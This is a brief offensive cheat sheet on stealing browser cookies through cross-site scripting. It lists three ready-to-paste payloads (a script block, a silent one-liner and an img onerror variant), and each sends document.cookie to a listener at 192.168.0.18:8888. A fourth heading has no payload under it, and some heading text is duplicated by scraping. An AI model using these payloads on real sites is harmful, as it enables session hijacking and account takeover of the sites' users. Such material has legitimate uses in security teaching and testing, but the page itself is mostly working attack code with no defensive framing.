XSS cookie stealing
Inject the XSS Attack Code
1. alert() Before Stealing the Cookie
alert() Before Stealing the Cookie<script>
alert(document.cookie);
var i=new Image;
i.src="http://192.168.0.18:8888/?"+document.cookie;
</script>2. Silent One-Liner
<script>var i=new Image;i.src="http://192.168.0.18:8888/?"+document.cookie;</script>3. <img> Tag Instead of <script> Tags
<img> Tag Instead of <script> Tags<img src=x onerror=this.src='http://192.168.0.18:8888/?'+document.cookie;>4. <img> Tag and Without the Infinite Loop
<img> Tag and Without the Infinite LoopLast updated